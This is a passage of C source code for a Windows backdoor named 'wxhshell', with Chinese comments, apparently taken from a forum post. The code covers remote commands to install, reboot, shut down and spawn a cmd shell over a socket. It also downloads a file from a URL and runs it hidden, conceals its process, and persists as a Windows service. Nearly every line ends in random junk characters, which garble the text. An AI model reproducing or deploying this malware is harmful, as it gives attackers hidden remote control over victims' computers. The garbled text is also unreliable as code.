      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # f{L;  
    break; jAFJ?L(  
  } 7mS_Cz+cB  
  // 安装 0vz!)  
  case 'i': { H%Sx*|  
    if(Install()) Gc!&I+kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '^t(=02J  
    else 2f0_Xw_V_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |i'w"Tz4  
    break; Ef6LBNWY.  
    } ~!dO2\X+  
  // 卸载 (7P VfS>;  
  case 'r': { %aJ8wYj*  
    if(Uninstall()) LTio^uH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{qKb:~wv  
    else p["20 ?^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7!, p,|K  
    break; $5yH8JU  
    } D|5Fo'O^AV  
  // 显示 wxhshell 所在路径 k$K>ml/h  
  case 'p': { YcuHYf5  
    char svExeFile[MAX_PATH]; u&Y1,:hiL  
    strcpy(svExeFile,"\n\r"); C'0=eel[  
      strcat(svExeFile,ExeFile); .$-%rU:*}  
        send(wsh,svExeFile,strlen(svExeFile),0); 7y>{Y$n  
    break; N%8aLD  
    } 1A 9Gf  
  // 重启 $QuSmA<4lS  
  case 'b': { ;ZLfb n3\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Js8d{\0\  
    if(Boot(REBOOT)) T ;JA.=I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Z]4`9c  
    else { g(zoN0~  
    closesocket(wsh); +QFY. >KH  
    ExitThread(0); T_?,?  
    } ;!N_8{ 7r  
    break; RjQdlr6*  
    } V}"w8i+D?  
  // 关机 >!2d77I  
  case 'd': { N u9+b"Wr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7tz #R :  
    if(Boot(SHUTDOWN)) _S#3!Wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'WQ<|(:{  
    else { |-k~Fa  
    closesocket(wsh); EPwM+#|e-  
    ExitThread(0); !F*CEcB  
    } DC%H(2  
    break; +aIy':P  
    } C")NN s =  
  // 获取shell wrt^0n'r)c  
  case 's': { I!-5 #bxD  
    CmdShell(wsh); +q4AK<y-  
    closesocket(wsh); wpPCkfPyL  
    ExitThread(0); 5U&?P   
    break; 'uA$$~1  
  } mq~L1< f  
  // 退出 *6%r2l'kZ  
  case 'x': { '@+a]kCMev  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d#G H4+C  
    CloseIt(wsh); o8lwwM*  
    break; 0xg6  
    } e!~x-P5M`  
  // 离开 }fKpih  
  case 'q': { wNm~H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T8rf+B/.L  
    closesocket(wsh); g{06d~Y  
    WSACleanup(); 9gokTFoN  
    exit(1); -{XXU)Z  
    break; ' fm}&0  
        } 5hbQUF ,Q  
  } F45UO%/P  
  } zmMz6\ $  
^iq$zHbc0u  
  // 提示信息 +'!vm6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V|8`]QW@  
} {$mj9?n=v  
  } i.`RQZ$,/  
#<|q4a{8  
  return; D#,P-0+%  
} l6EDl0~r  
+p:@,_  
// shell模块句柄 p94 w0_m@|  
int CmdShell(SOCKET sock) Pa !r*(M)C  
{ K+_$ WT_  
STARTUPINFO si; O.8{c;  
ZeroMemory(&si,sizeof(si)); #e8NF,H5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KzC`*U[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;ywQk| r  
PROCESS_INFORMATION ProcessInfo; 7o]p0iLej  
char cmdline[]="cmd"; W=T}hA#`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _:tisr{  
  return 0; \;G97o  
} x p#+{}  
*Q8d &$ ^  
// 自身启动模式 &ii3Vlyzg  
int StartFromService(void) )cy_d!  
{ M(2c{TT  
typedef struct }Myi0I<  
{ )0:@T)G  
  DWORD ExitStatus; T;%ceLD  
  DWORD PebBaseAddress; _ %HyXd  
  DWORD AffinityMask; 'j+J?Y^  
  DWORD BasePriority; A"@C }f  
  ULONG UniqueProcessId; {6yiD  
  ULONG InheritedFromUniqueProcessId; Dab1^H!KT  
}   PROCESS_BASIC_INFORMATION; =K)au$BE|  
GUyc1{6  
PROCNTQSIP NtQueryInformationProcess; vK?{Z^J][  
'J`%[,@V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `_;VD?")*l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *?`:=  
Nz&J&\X)tD  
  HANDLE             hProcess; yU(k;A-  
  PROCESS_BASIC_INFORMATION pbi; YrR}55V,  
Uv06f+P(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e_BOzN~c  
  if(NULL == hInst ) return 0; \5%T'S@5  
0r+%5}|-K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uz1t uX_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p&L`C |0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hfGA7P"  
m"!!)  
  if (!NtQueryInformationProcess) return 0; v?\bvg\E  
@Ooh}V#J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &zF1&J58z  
  if(!hProcess) return 0; 7 C5m#e3  
24Y~x`W   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z;_WU  
oh5fNx  
  CloseHandle(hProcess); =B(zW .Gf  
l#,WMu&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uL!{xuN  
if(hProcess==NULL) return 0; hNV" {V3`{  
g=;c*{  
HMODULE hMod; 10JxfDceD  
char procName[255]; +x!V;H(  
unsigned long cbNeeded; H! ZPP8]j>  
or u.a   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ESZ6<!S  
b "4W` A  
  CloseHandle(hProcess); g|PVOY+|^  
~mtL\!vaM  
if(strstr(procName,"services")) return 1; // 以服务启动 xcz1(R  
Mp ~E $f  
  return 0; // 注册表启动 R4"g? e  
} 1e;^Mz B"  
0j1I  
// 主模块 FxC@KZG  
int StartWxhshell(LPSTR lpCmdLine) _wg6}3  
{ LmLV2f  
  SOCKET wsl; >Z?3dM~[  
BOOL val=TRUE; AO9F.A<T5  
  int port=0; X.,1SYG[  
  struct sockaddr_in door; L!-@dz  
4b8!LzKS  
  if(wscfg.ws_autoins) Install(); 4 ~17s`+  
E#_TX3B   
port=atoi(lpCmdLine); )#r]x1[Kn  
G Cx]VN3 &  
if(port<=0) port=wscfg.ws_port; o_<o8!]l"  
#Vanw!  
  WSADATA data; v.+-)RLQg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; laqW {sX^5  
DY6wp@A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KX9+*YY,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ">kf X1LT  
  door.sin_family = AF_INET; N`/6 By  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W:P4XwR{  
  door.sin_port = htons(port); Cl]E rg  
~?dPF;.6_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { im_W0tGvF  
closesocket(wsl); S >uzW #  
return 1; EpeTfD  
} @7%nMTZ@&v  
38%]G Q  
  if(listen(wsl,2) == INVALID_SOCKET) { s} ,p>8  
closesocket(wsl); :?{ **&=  
return 1; Nl7"|()e  
} Fk>/  
  Wxhshell(wsl); K.] *:fd  
  WSACleanup(); z@$7T: H>  
7vV3"uns  
return 0; `7Ni bZX0  
Y*0%l q({H  
} B5!$5 Qc  
4)iSz>  
// 以NT服务方式启动 bzmT.!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fy<dk}@  
{ k oC2bX  
DWORD   status = 0; ~xu<xy@E  
  DWORD   specificError = 0xfffffff; 5 %q26&  
JcZs\ fl9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?G1-X~Z8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G;FY2;adK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q?&vV`PG5  
  serviceStatus.dwWin32ExitCode     = 0; Tm@mk  
  serviceStatus.dwServiceSpecificExitCode = 0; y&A*/J4P  
  serviceStatus.dwCheckPoint       = 0; F`U%xn,  
  serviceStatus.dwWaitHint       = 0; uU6+cDp  
7[:9vY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DPi%[CRH  
  if (hServiceStatusHandle==0) return; ;]MHU/  
$r9Sn  
status = GetLastError(); b3x!tuQn  
  if (status!=NO_ERROR)  8OZc:/  
{ U=p,drF,A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [a 5L WW  
    serviceStatus.dwCheckPoint       = 0; %? _pSH}$!  
    serviceStatus.dwWaitHint       = 0; ) ]U-7  
    serviceStatus.dwWin32ExitCode     = status; 1,Uv;s;{  
    serviceStatus.dwServiceSpecificExitCode = specificError; x\!Qe\lE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xe|o( !(  
    return; wCvtw[6  
  } y_38;8ex  
"W|Sh#JF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VLc=!W}  
  serviceStatus.dwCheckPoint       = 0; mTW0_!.  
  serviceStatus.dwWaitHint       = 0; $TL~SVHj;{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DTt/nmKAqJ  
} ~ DVAk|fc  
g% #" 5Kr  
// 处理NT服务事件,比如:启动、停止 !SD?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2IqsBK`  
{ w:Tz&$&Y$  
switch(fdwControl) WtFv"$V  
{ $Dd IY}  
case SERVICE_CONTROL_STOP: s<xD$K~rM  
  serviceStatus.dwWin32ExitCode = 0; \Zqgr/.w/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;4Y@xS2M  
  serviceStatus.dwCheckPoint   = 0; }f<.07  
  serviceStatus.dwWaitHint     = 0; ykxjT@[  
  { 2md1GWyP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^/2n[orl5  
  } P6zy<w  
  return; WL7R.!P  
case SERVICE_CONTROL_PAUSE: 6?Rm>+2>v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'u{m37ZJ  
  break; uY,&lX+!  
case SERVICE_CONTROL_CONTINUE: m]+g[L?-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oJUVW"X6  
  break; "44VvpQC  
case SERVICE_CONTROL_INTERROGATE: 0ho+Y@8  
  break; +%=Ao6/#  
}; hJ>{`Tw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @/ wJW``;  
} T c4N\Cy  
h2zuPgz,  
// 标准应用程序主函数 0~H(GG$VH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #q%xJ[  
{ ^* ^te+N  
"?EA G  
// 获取操作系统版本 Mje6Q  
OsIsNt=GetOsVer(); d3+pS\&IX?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xpKD 'O=T  
0"kNn5  
  // 从命令行安装 +iir]"8  
  if(strpbrk(lpCmdLine,"iI")) Install(); !,+peMy  
5v=%pQbY  
  // 下载执行文件 @ O5-w  
if(wscfg.ws_downexe) { `ux U H#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D:U:( pg  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4T`u?T]  
} d Ayof=  
3205gI,  
if(!OsIsNt) { K~5QL/=1  
// 如果时win9x,隐藏进程并且设置为注册表启动 p}hOkx4R\  
HideProc(); 7KnZ  
StartWxhshell(lpCmdLine); :t8(w>oW  
} =M>1;Qr<Z/  
else D%N^iJC,9  
  if(StartFromService()) =2BGS\$#  
  // 以服务方式启动 j#"?Oe{_1  
  StartServiceCtrlDispatcher(DispatchTable); I&U?8  
else KtUI(*$`  
  // 普通方式启动 YBN@{P$  
  StartWxhshell(lpCmdLine); p)N=  
FRQ0tIp  
return 0; G,e>dp_cPu  
}
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只看该作者 1 发表于: 2006-10-10
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